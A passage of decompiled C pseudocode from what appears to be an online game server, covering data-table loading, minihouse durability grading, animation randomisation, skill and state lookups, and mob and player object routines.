2); *(_DWORD *)(v7 + 4) = *(_DWORD *)(v6 + 6); v8 = 0; v9 = 0; *(_DWORD *)(v7 + 8) = *(_DWORD *)(v6 + 10); nPresentRewardCnt = 0; if ( (signed int)nDataCnt > 0 ) { do { if ( v9 < v3->midrdb_DataBox.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v10 = CDataReader::GetRecord(&v3->midrdb_DataBox.baseclass_0.baseclass_0, v9); else v10 = &v3->midrdb_DataBox.bdb_defaultblock; if ( !_mbscmp((const char *)(v6 + 14), (const char *)v10) ) ++nPresentRewardCnt; ++v9; } while ( (signed int)v9 < (signed int)nDataCnt ); v8 = nPresentRewardCnt; } *(_WORD *)(v7 + 12) = v8; v11 = malloc(4 * v8); v12 = 0; *(_DWORD *)(v7 + 16) = v11; if ( !v11 ) break; if ( (signed int)nDataCnt > 0 ) { s1 = (const char *)(v6 + 14); nPresentRewardCnta = 0; do { if ( v12 < v3->midrdb_DataBox.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v13 = CDataReader::GetRecord(&v3->midrdb_DataBox.baseclass_0.baseclass_0, v12); else v13 = &v3->midrdb_DataBox.bdb_defaultblock; if ( !_mbscmp(s1, (const char *)v13) ) { *(_DWORD *)(nPresentRewardCnta + *(_DWORD *)(v7 + 16)) = v13; nPresentRewardCnta += 4; } ++v12; } while ( (signed int)v12 < (signed int)nDataCnt ); } ++i; if ( (unsigned __int16)i >= pCmd->nMapCnt ) { v3->midrdb_bIsRewardSetting = 1; return 1; } v2 = pCmd; } result = 0; } else { v3->midrdb_bIsRewardSetting = 1; result = 1; } } else { LABEL_31: result = 0; } return result; } //----- (0048DB40) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0xFBu, 0xAu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0048DBF0) -------------------------------------------------------- void __thiscall MiniHouseEndureDataBox::MiniHouseEndureDataBox(MiniHouseEndureDataBox *this) { char *v1; // edi@1 v1 = (char *)&this->mhe_BinData; CCharacterTitleData::CCharacterTitleData(&this->mhe_BinData.baseclass_0); v1 += 60; *(_DWORD *)v1 = 0; *((_DWORD *)v1 + 1) = 0; *((_WORD *)v1 + 4) = 0; } //----- (0048DC20) -------------------------------------------------------- void __thiscall MiniHouseEndureDataBox::mhe_Load(MiniHouseEndureDataBox *this) { MiniHouseEndureDataBox *v1; // esi@1 MiniHouseEndure *v2; // edx@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MiniHouseEndureDataBox::mhe_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MiniHouseEndureDataBox::mhe_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->mhe_default = &v1->mhe_BinData.bdb_defaultblock; BinaryDataBox::bdb_ReadData(&v1->mhe_BinData, "../9Data/Hero/MiniHouseEndure.shn"); v2 = v1->mhe_default; v1->mhe_Number = v1->mhe_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; *(_DWORD *)&v2->Handle = 0; *(_DWORD *)&v2->Endure[1] = 0; v2->Endure[3] = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MiniHouseEndureDataBox::mhe_Load"); } //----- (0048DCE0) -------------------------------------------------------- int __thiscall MiniHouseEndureDataBox::mhe_CalEndureGrade(MiniHouseEndureDataBox *this, unsigned __int16 nEndureType, ShineDateTime *dEndEndureDate, MHE_STEP *nEndureGrade) { int result; // eax@2 char *v5; // ebx@3 void *v6; // eax@4 void *v7; // eax@12 int v8; // eax@16 unsigned int v9; // edx@16 int v10; // esi@16 int v11; // eax@16 signed int v12; // edx@18 int v13; // esi@18 signed int v14; // edi@20 void *v15; // eax@22 void *v16; // eax@26 struct tm dEndEndureTime; // [sp+8h] [bp-48h]@16 struct tm dCurTime; // [sp+2Ch] [bp-24h]@16 if ( nEndureType <= (signed int)this->mhe_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { v5 = (char *)&this->mhe_BinData; if ( nEndureType < this->mhe_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v6 = CDataReader::GetRecord((CDataReader *)v5, nEndureType); else v6 = &this->mhe_BinData.bdb_defaultblock; if ( *(_WORD *)v6 == nEndureType ) { if ( dEndEndureDate->_bf0 & 0xFF ) { if ( (dEndEndureDate->_bf0 & 0xFF) != 255 || ((unsigned int)nEndureType < *(_DWORD *)(*((_DWORD *)v5 + 12) + 40) ? (v7 = CDataReader::GetRecord( (CDataReader *)v5, nEndureType)) : (v7 = v5 + 60), *((_WORD *)v7 + 1)) ) { v8 = dEndEndureDate->_bf0; v9 = (unsigned int)dEndEndureDate->_bf0 >> 8; memcpy((void *)&dCurTime, &stru_8C8DD4, sizeof(dCurTime)); dEndEndureTime.tm_year = (unsigned __int8)v8 + 100; dEndEndureTime.tm_mon = (v9 & 0x1F) - 1; dEndEndureTime.tm_min = (unsigned int)v8 >> 25; dEndEndureTime.tm_mday = ((unsigned int)v8 >> 13) & 0x3F; dEndEndureTime.tm_hour = ((unsigned int)v8 >> 19) & 0x3F; dEndEndureTime.tm_sec = 0; v10 = mktime(&dCurTime); v11 = mktime(&dEndEndureTime); if ( v11 > v10 ) { v12 = (signed int)(v11 - v10 + ((unsigned __int64)(-1851608123i64 * (v11 - v10)) >> 32)) >> 11; v13 = v12 + ((unsigned int)v12 >> 31); if ( (unsigned __int16)v13 > *(_WORD *)&BinaryDataBox::operator__( (BinaryDataBox *)v5, nEndureType)->InxName[0] ) LOWORD(v13) = *(_WORD *)&BinaryDataBox::operator__((BinaryDataBox *)v5, nEndureType)->InxName[0]; v14 = 0; while ( 1 ) { v15 = (unsigned int)nEndureType < *(_DWORD *)(*((_DWORD *)v5 + 12) + 40) ? CDataReader::GetRecord( (CDataReader *)v5, nEndureType) : v5 + 60; if ( (unsigned __int16)v13 < *((_WORD *)v15 + v14 + 1) ) { v16 = (unsigned int)nEndureType < *(_DWORD *)(*((_DWORD *)v5 + 12) + 40) ? CDataReader::GetRecord( (CDataReader *)v5, nEndureType) : v5 + 60; if ( (unsigned __int16)v13 >= *((_WORD *)v16 + v14 + 2) ) break; } ++v14; if ( v14 >= 3 ) return 0; } *nEndureGrade = v14 + 1; result = 1; } else { *nEndureGrade = 4; result = 1; } } else { *nEndureGrade = 1; result = 1; } } else { *nEndureGrade = 0; result = 1; } } else { result = 0; } } else { result = 0; } return result; } //----- (0048DEB0) -------------------------------------------------------- MiniHouseObjAniDataBox::AniData *__thiscall MiniHouseObjAniDataBox::mhoadb_GetAniData(MiniHouseObjAniDataBox *this, unsigned __int16 hnd) { MiniHouseObjAniDataBox *v2; // esi@1 MiniHouseObjAniDataBox::ServerAniData *v3; // edi@2 unsigned __int16 v4; // ax@3 char v5; // al@5 char v6; // al@8 MiniHouseObjAniDataBox::AniData *result; // eax@9 v2 = this; if ( hnd >= this->mhoadb_MaxItemHandle ) { result = 0; } else { this->mhoadb_AniData.PreHandle = hnd; v3 = &this->p_mhoadb_ServerAniData[hnd]; if ( v3->isRand ) { v3 = &this->p_mhoadb_ServerAniData[hnd]; v4 = v3->RandStartHandle + RandomBox::operator__(&rndbox, v3->RandCnt); } else { v4 = v3->RandStartHandle; } v2->mhoadb_AniData.NextHandle = v4; v5 = v3->ActorMaxNum; if ( v5 ) v2->mhoadb_AniData.ActorIdx = RandomBox::operator__(&rndbox, (unsigned __int8)v5) + 1; else v2->mhoadb_AniData.ActorIdx = 0; v6 = v2->p_mhoadb_ServerAniData[hnd].ActeeMaxNum; if ( v6 ) { v2->mhoadb_AniData.ActeeIdx = RandomBox::operator__(&rndbox, (unsigned __int8)v6) + 1; result = &v2->mhoadb_AniData; } else { result = &v2->mhoadb_AniData; v2->mhoadb_AniData.ActeeIdx = 0; } } return result; } //----- (0048DF60) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x271u, 0x27u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0048E010) -------------------------------------------------------- void __thiscall MiniHouseObjAniDataBox::MiniHouseObjAniDataBox(MiniHouseObjAniDataBox *this) { char *v1; // edi@1 v1 = (char *)&this->mhoadb_BinData; CCharacterTitleData::CCharacterTitleData(&this->mhoadb_BinData.baseclass_0); v1 += 60; memset(v1, 0, 0x24u); v1 += 36; *(_WORD *)v1 = 0; v1[2] = 0; } //----- (0048E040) -------------------------------------------------------- void __thiscall MiniHouseObjAniDataBox::mhoadb_MakeServerAniData(MiniHouseObjAniDataBox *this) { MiniHouseObjAniDataBox *v1; // edi@1 unsigned int v2; // eax@1 unsigned int v3; // esi@1 int v4; // ebp@1 void *v5; // eax@3 void *v6; // eax@7 int v7; // esi@11 unsigned int v8; // ebx@11 int v9; // ecx@11 int v10; // eax@12 void *v11; // eax@16 unsigned __int16 v12; // bp@18 void *v13; // eax@19 void *v14; // eax@23 void *v15; // eax@26 unsigned int v16; // ebp@29 void *v17; // eax@31 void *v18; // eax@35 void *v19; // eax@40 int v20; // ebp@45 void *v21; // eax@46 void *v22; // eax@49 void *v23; // eax@51 int same_group; // [sp+10h] [bp-1Ch]@22 signed __int16 RandStartHande; // [sp+14h] [bp-18h]@28 unsigned int j; // [sp+18h] [bp-14h]@28 unsigned int i; // [sp+1Ch] [bp-10h]@14 __int16 CurrItemID; // [sp+20h] [bp-Ch]@25 int CurrGroupID; // [sp+24h] [bp-8h]@28 unsigned __int16 CurrHandle; // [sp+28h] [bp-4h]@18 v1 = this; v2 = this->mhoadb_Number; v3 = 0; v4 = 0; this->mhoadb_MaxItemHandle = 0; if ( v2 ) { do { if ( v3 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v5 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v3); else v5 = &v1->mhoadb_BinData.bdb_defaultblock; if ( v1->mhoadb_MaxItemHandle < *(_WORD *)v5 ) { if ( v3 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v6 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v3); else v6 = &v1->mhoadb_BinData.bdb_defaultblock; v1->mhoadb_MaxItemHandle = *(_WORD *)v6; } ++v4; v3 = (unsigned __int16)v4; } while ( (unsigned __int16)v4 < v1->mhoadb_Number ); } v7 = v1->mhoadb_MaxItemHandle + 1; v1->mhoadb_MaxItemHandle = v7; v1->p_mhoadb_ServerAniData = (MiniHouseObjAniDataBox::ServerAniData *)operator new__(8 * v7); v8 = 0; v9 = 0; if ( v1->mhoadb_MaxItemHandle ) { v10 = 0; do { v1->p_mhoadb_ServerAniData[v10].isRand = 0; v1->p_mhoadb_ServerAniData[v10].RandCnt = 0; v1->p_mhoadb_ServerAniData[v10].RandStartHandle = -1; v1->p_mhoadb_ServerAniData[v10].ActorMaxNum = 0; ++v9; v1->p_mhoadb_ServerAniData[v10].ActeeMaxNum = 0; v10 = (unsigned __int16)v9; } while ( (unsigned __int16)v9 < v1->mhoadb_MaxItemHandle ); } i = 0; if ( v1->mhoadb_Number ) { while ( 1 ) { v11 = v8 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->mhoadb_BinData.baseclass_0.baseclass_0, v8) : &v1->mhoadb_BinData.bdb_defaultblock; v12 = *(_WORD *)v11; CurrHandle = *(_WORD *)v11; v13 = v8 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->mhoadb_BinData.baseclass_0.baseclass_0, v8) : &v1->mhoadb_BinData.bdb_defaultblock; if ( *(_WORD *)((char *)v13 + 11) < 0x2710u ) break; same_group = 0; if ( v8 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v14 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v8); else v14 = &v1->mhoadb_BinData.bdb_defaultblock; CurrItemID = *((_WORD *)v14 + 1); if ( v8 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v15 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v8); else v15 = &v1->mhoadb_BinData.bdb_defaultblock; CurrGroupID = *(_WORD *)((char *)v15 + 11); RandStartHande = -1; j = 0; if ( v1->mhoadb_Number ) { v16 = 0; do { if ( v16 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v17 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v16); else v17 = &v1->mhoadb_BinData.bdb_defaultblock; if ( *((_WORD *)v17 + 1) == CurrItemID ) { v18 = v16 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->mhoadb_BinData.baseclass_0.baseclass_0, v16) : &v1->mhoadb_BinData.bdb_defaultblock; if ( *(_WORD *)((char *)v18 + 5) == CurrGroupID ) { ++same_group; if ( RandStartHande == -1 ) { if ( v16 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v19 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v16); else v19 = &v1->mhoadb_BinData.bdb_defaultblock; RandStartHande = *(_WORD *)v19; } } } ++j; v16 = j; } while ( j < v1->mhoadb_Number ); v12 = CurrHandle; } v20 = v12; v1->p_mhoadb_ServerAniData[v20].isRand = 1; v1->p_mhoadb_ServerAniData[v20].RandCnt = same_group; v1->p_mhoadb_ServerAniData[v20].RandStartHandle = RandStartHande; if ( v8 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) goto LABEL_47; v21 = &v1->mhoadb_BinData.bdb_defaultblock; LABEL_48: v1->p_mhoadb_ServerAniData[v20].ActorMaxNum = *((_BYTE *)v21 + 13); if ( v8 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v22 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v8); else v22 = &v1->mhoadb_BinData.bdb_defaultblock; v1->p_mhoadb_ServerAniData[v20].ActeeMaxNum = *((_BYTE *)v22 + 26); ++i; v8 = i; if ( i >= v1->mhoadb_Number ) return; } v20 = v12; v1->p_mhoadb_ServerAniData[v20].isRand = 0; v1->p_mhoadb_ServerAniData[v20].RandCnt = 0; if ( v8 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v23 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v8); else v23 = &v1->mhoadb_BinData.bdb_defaultblock; v1->p_mhoadb_ServerAniData[v20].RandStartHandle = *(_WORD *)((char *)v23 + 11); if ( v8 >= v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { v21 = &v1->mhoadb_BinData.bdb_defaultblock; goto LABEL_48; } LABEL_47: v21 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v8); goto LABEL_48; } } //----- (0048E300) -------------------------------------------------------- void __thiscall MiniHouseObjAniDataBox::mhoadb_Load(MiniHouseObjAniDataBox *this) { MiniHouseObjAniDataBox *v1; // esi@1 MiniHouseObjAni *v2; // edi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MiniHouseObjAniDataBox::mhoadb_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MiniHouseObjAniDataBox::mhoadb_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->mhoadb_default = &v1->mhoadb_BinData.bdb_defaultblock; BinaryDataBox::bdb_ReadData(&v1->mhoadb_BinData, "../9Data/Hero/MiniHouseObjAni.shn"); v2 = v1->mhoadb_default; v1->mhoadb_Number = v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; memset(v2, 0, 0x24u); v2 = (MiniHouseObjAni *)((char *)v2 + 36); v2->Handle = 0; LOBYTE(v2->ItemID) = 0; MiniHouseObjAniDataBox::mhoadb_MakeServerAniData(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MiniHouseObjAniDataBox::mhoadb_Load"); } //----- (0048E3C0) -------------------------------------------------------- SHINE_XY_TYPE *__thiscall DirectDistanceTable::ddt_GetFoward(DirectDistanceTable *this, int sr, int distance, SHINE_XY_TYPE *buffer) { int v4; // edi@1 __int64 v5; // qax@5 v4 = sr; if ( sr < 0 ) v4 = sr + 180 * (-1 - sr) / 0xB4u + 180; if ( v4 >= 180 ) v4 %= 0xB4u; v5 = distance * *(unsigned int *)((char *)&this->ddt_Table[0][v4].distance + (_DWORD)((char *)&wholesaver + 24375104)); buffer->x += ((WORD2(v5) & 0x3FF) + (signed int)v5) >> 10; buffer->y += (signed int)(distance * *(unsigned int *)((char *)&this->ddt_Table[0][v4].distance + (_DWORD)((char *)&wholesaver + 24375108))) / 1024; return buffer; } //----- (0048E460) -------------------------------------------------------- int __thiscall MiscDataTable::MiscData_Skill::mds_Init(int this, __int16 skillid) { int result; // eax@1 char v3; // dl@1 *(_WORD *)this = skillid; *(_WORD *)(this + 2) = -1; *(_WORD *)(this + 20) = -1; *(_BYTE *)(this + 22) &= 0xFCu; result = 0; *(_BYTE *)(this + 23) = 0; *(_DWORD *)(this + 24) = 0; *(_DWORD *)(this + 28) = 0; *(_DWORD *)(this + 32) = 0; *(_DWORD *)(this + 36) = 0; *(_DWORD *)(this + 40) = 0; *(_DWORD *)(this + 44) = 0; *(_DWORD *)(this + 48) = 0; *(_DWORD *)(this + 52) = 0; *(_DWORD *)(this + 56) = 0; *(_DWORD *)(this + 60) = 0; *(_DWORD *)(this + 64) = 0; *(_DWORD *)(this + 68) = 0; *(_DWORD *)(this + 72) = 0; *(_DWORD *)(this + 76) = 0; *(_WORD *)(this + 80) = 0; v3 = *(_BYTE *)(this + 88) & 0xFE; *(_DWORD *)(this + 84) = 0; *(_BYTE *)(this + 88) = v3; *(_WORD *)(this + 108) = 0; *(_DWORD *)(this + 92) = 0; *(_DWORD *)(this + 104) = 0; *(_DWORD *)(this + 116) = 0; return result; } //----- (0048E4D0) -------------------------------------------------------- void *__thiscall MiscDataTable::mdt_FindSkillAlways(void *base, __int16 a2) { unsigned int v2; // ST08_4@1 void *result; // eax@1 __int16 key; // [sp+0h] [bp-7Ch]@1 unsigned int v5; // [sp+78h] [bp-4h]@1 v5 = (unsigned int)&key ^ __security_cookie; v2 = *((_DWORD *)base + 3000); key = a2; result = bsearch(&key, base, v2, 0x78u, MobAttackSequence::AttackElement4Mob::ae4m_Compare); if ( !result ) result = &MiscDataTable::mdt_DefSkill; return result; } // D4AB2C8: using guessed type __int16 MiscDataTable__mdt_DefSkill; //----- (0048E530) -------------------------------------------------------- MiscDataTable::MiscData_AbState *__thiscall MiscDataTable::mdt_FindAbStateAlways(MiscDataTable *this, unsigned __int16 abstateid) { int v2; // ST08_4@1 MiscDataTable::MiscData_AbState *result; // eax@1 unsigned __int16 key; // [sp+0h] [bp-Ch]@1 v2 = this->mdt_AbStateDataSize; key = abstateid; result = (MiscDataTable::MiscData_AbState *)bsearch( &key, this->mdt_AbStateDataArray, v2, 0xCu, MobAttackSequence::AttackElement4Mob::ae4m_Compare); if ( !result ) result = (MiscDataTable::MiscData_AbState *)&MiscDataTable::mdt_DefAbState; return result; } // D4AB340: using guessed type __int16 MiscDataTable__mdt_DefAbState; //----- (0048E570) -------------------------------------------------------- void __thiscall MobExplosionElement::MobExplosionEnemy::MobExplosionEnemy(MobExplosionElement::MobExplosionEnemy *this) { this->baseclass_0.vfptr = (MobExplosionElement::MobExplosionBaseVtbl *)MobExplosionElement::MobExplosionEnemy::_vftable_; } // 649AA4: using guessed type int (__thiscall *MobExplosionElement__MobExplosionEnemy___vftable_[2])(MobExplosionElement::MobExplosionBase *this, int mob, int); //----- (0048E580) -------------------------------------------------------- void __thiscall MobExplosionElement::MobExplosionAlways::_MobExplosionAlways(MobExplosionElement::MobExplosionAlways *this) { this->baseclass_0.vfptr = (MobExplosionElement::MobExplosionBaseVtbl *)&MobExplosionElement::MobExplosionBase::_vftable_; } // 649AA0: using guessed type int (__stdcall *MobExplosionElement__MobExplosionBase___vftable_)(int mob, int); //----- (0048E590) -------------------------------------------------------- void __thiscall MobExplosionElement::MobExplosionTarget::MobExplosionTarget(MobExplosionElement::MobExplosionTarget *this) { this->baseclass_0.vfptr = (MobExplosionElement::MobExplosionBaseVtbl *)&MobExplosionElement::MobExplosionTarget::_vftable_; } // 649AA8: using guessed type int (__thiscall *MobExplosionElement__MobExplosionTarget___vftable_)(MobExplosionElement::MobExplosionBase *this, int mob, int); //----- (0048E5A0) -------------------------------------------------------- void __thiscall MobExplosionElement::MobExplosionAlways::MobExplosionAlways(MobExplosionElement::MobExplosionAlways *this) { this->baseclass_0.vfptr = (MobExplosionElement::MobExplosionBaseVtbl *)&MobExplosionElement::MobExplosionAlways::_vftable_; } // 649AAC: using guessed type int (__thiscall *MobExplosionElement__MobExplosionAlways___vftable_)(MobExplosionElement::MobExplosionBase *this, int mob, #615 *misctable); //----- (0048E5B0) -------------------------------------------------------- void __thiscall AxialListAggroAdjust::_AxialListAggroAdjust(AxialListAggroAdjust *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListAggroAdjust::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 649AB0: using guessed type int (__stdcall *AxialListAggroAdjust___vftable_)(int, int, int distancesquar); //----- (0048E5C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SkinPolymorph(int this, __int16 mobid, __int16 AbIndex) { int v3; // esi@1 char *v4; // eax@1 __int16 v5; // dx@1 int v6; // ST04_4@1 int v7; // eax@1 AxialListPacketBroadcast alchat; // [sp+4h] [bp-18h]@1 int v9; // [sp+18h] [bp-4h]@1 v3 = this; *(_WORD *)(*(_DWORD *)(this + 32160) + 78) = mobid; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4271; v5 = *(_WORD *)(this + 4); *((_WORD *)v4 + 2) = mobid; *((_WORD *)v4 + 3) = AbIndex; *((_WORD *)v4 + 1) = v5; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v6 = *(_DWORD *)(v3 + 78); v9 = 0; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v3, v7, v6, 0, 0, (int)&alchat, 1, 65535); v9 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } //----- (0048E670) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineServant::sm_TooLongChase(ShineObjectClass::ShineServant *this) { (*(void (__stdcall **)(_DWORD))(*(_DWORD *)&this->gap0[0] + 3564))(0); } //----- (0048E680) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineServant::sm_serv_VanishReserv(ShineObjectClass::ShineServant *this, int sec) { ShineObjectClass::ShineServant *v2; // esi@1 int v3; // eax@1 __int16 **v4; // eax@1 __int16 v5; // di@3 int (__thiscall **alms)(AxialListMobSuicide *, int, #593 *, int); // [sp+4h] [bp-14h]@3 __int16 v7; // [sp+8h] [bp-10h]@3 int v8; // [sp+14h] [bp-4h]@3 v2 = this; this->ss_ExplosionManager = (MobExplosionElement::MobExplosionBase *)&mobexplosebase; v3 = *(_DWORD *)&this->gap0[0]; *(_DWORD *)&this->gap0[7700] = clockwatch.cw_CurrTick + 10 * sec; (*(void (**)(void))(v3 + 36))(); v4 = *(__int16 ***)&v2->gap0[7656]; if ( v4 ) { if ( *v4 ) { v5 = **v4; AxialListIterator::AxialListIterator((AxialListIterator *)&alms); alms = &AxialListMobSuicide::_vftable_; v7 = v5; v8 = 0; AxialListMobSuicide::alms_SelfKill((AxialListMobSuicide *)&alms, (#593 *)v2); v8 = -1; alms = &AxialListMobSuicide::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alms); } } } // 633D2C: using guessed type int (__thiscall *AxialListMobSuicide___vftable_)(AxialListMobSuicide *this, int, #593 *obj, int distancesquar); // 6AFE60: using guessed type int (__stdcall **mobexplosebase)(int mob, int); //----- (0048E750) -------------------------------------------------------- void __thiscall MiscDataTable::mdt_StateConditionStore(MiscDataTable *this, MiscDataTable::MiscData_VarifyByAbstate *temp) { char *v2; // edx@4 if ( this->mdt_VarifAbstateSize >= 0x32u ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_StateConditionStore : Too many data", 0); ShineExit("MiscDataTable::mdt_StateConditionStore"); } v2 = (char *)&this->mdt_VarifAbstateArray[this->mdt_VarifAbstateSize]; *(_DWORD *)v2 = *(_DWORD *)&temp->mdvba_Skill; *((_DWORD *)v2 + 1) = temp->mdvba_Condition; *((_DWORD *)v2 + 2) = *(_DWORD *)&temp->mdvba_DamageRate; *((_DWORD *)v2 + 3) = temp->mdvba_NewState; *((_DWORD *)v2 + 4) = *(_DWORD *)&temp->mdvba_Crirate; ++this->mdt_VarifAbstateSize; } //----- (0048E7C0) -------------------------------------------------------- void __thiscall MiscDataTable::mdt_StateCondition(MiscDataTable *this, OptionReader *miscdata) { void *v2; // esi@1 MiscDataTable *v3; // ebx@1 void *v4; // ebp@2 int v5; // edi@6 int v6; // esi@6 signed int v7; // ecx@6 bool v8; // zf@6 int v9; // edi@11 int v10; // esi@11 signed int v11; // ecx@11 bool v12; // zf@11 int v13; // edi@16 int v14; // esi@16 signed int v15; // ecx@16 bool v16; // zf@16 unsigned int v17; // eax@23 __int16 v18; // dx@26 int v19; // esi@26 unsigned int v20; // eax@26 int v21; // eax@28 char v22; // cl@29 int v23; // eax@30 char v24; // cl@31 char *v25; // edi@32 char v26; // al@33 char v27; // dl@34 char *v28; // edi@34 char v29; // al@35 char v30; // cl@36 int v31; // esi@37 int v32; // edi@37 char *v33; // eax@38 unsigned int v34; // eax@38 int v35; // ecx@39 int v36; // eax@42 int v37; // edx@42 int v38; // ecx@42 ORToken v39; // [sp-18h] [bp-21Ch]@2 void *v40; // [sp-14h] [bp-218h]@2 void *v41; // [sp-10h] [bp-214h]@2 void *v42; // [sp-Ch] [bp-210h]@2 void *v43; // [sp-8h] [bp-20Ch]@2 int v44; // [sp-4h] [bp-208h]@2 int k; // [sp+10h] [bp-1F4h]@1 int temp; // [sp+14h] [bp-1F0h]@27 int v47; // [sp+18h] [bp-1ECh]@10 int v48; // [sp+1Ch] [bp-1E8h]@26 int v49; // [sp+20h] [bp-1E4h]@24 int v50; // [sp+24h] [bp-1E0h]@26 OptionReader *v51; // [sp+28h] [bp-1DCh]@1 ORToken *v52; // [sp+2Ch] [bp-1D8h]@2 MapSubString mss; // [sp+30h] [bp-1D4h]@34 char mapto[128]; // [sp+F4h] [bp-110h]@31 char mapfrom[128]; // [sp+174h] [bp-90h]@29 unsigned int v56; // [sp+1F4h] [bp-10h]@1 int v57; // [sp+200h] [bp-4h]@36 v2 = 0; v56 = (unsigned int)&k ^ __security_cookie; v3 = this; v51 = miscdata; MiscDataTable::mdt_DefVarifAbstate = -1; dword_D4AB350 = 0; word_D4AB354 = 1000; dword_D4AB358 = 609; word_D4AB35C = 0; k = 0; while ( 1 ) { v44 = k; v52 = &v39; v43 = v2; v42 = v2; v41 = v2; v40 = v2; *(_DWORD *)&v39.ort_Name[0] = v2; strncpy(v39.ort_Name, "ExpandSkill", 0x14u); v4 = OptionReader::or_SelectFromOrder(v51, v39, v44); if ( v4 == v2 ) break; if ( *(_BYTE *)v4 != *((_BYTE *)v4 + 104) ) { v44 = *(_BYTE *)v4; AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_StateCondition : Checksum error", v44); ShineExit("MiscDataTable::mdt_StateCondition"); } v5 = (int)"Stun"; v6 = (int)((char *)v4 + 34); v7 = 5; v8 = 1; do { if ( !v7 ) break; v8 = *(_BYTE *)v6++ == *(_BYTE *)v5++; --v7; } while ( v8 ); if ( v8 ) { v47 = 1; } else { v9 = (int)"Slow"; v10 = (int)((char *)v4 + 34); v11 = 5; v12 = 1; do { if ( !v11 ) break; v12 = *(_BYTE *)v10++ == *(_BYTE *)v9++; --v11; } while ( v12 ); if ( v12 ) { v47 = 2; } else { v13 = (int)"ACMRMinus"; v14 = (int)((char *)v4 + 34); v15 = 10; v16 = 1; do { if ( !v15 ) break; v16 = *(_BYTE *)v14++ == 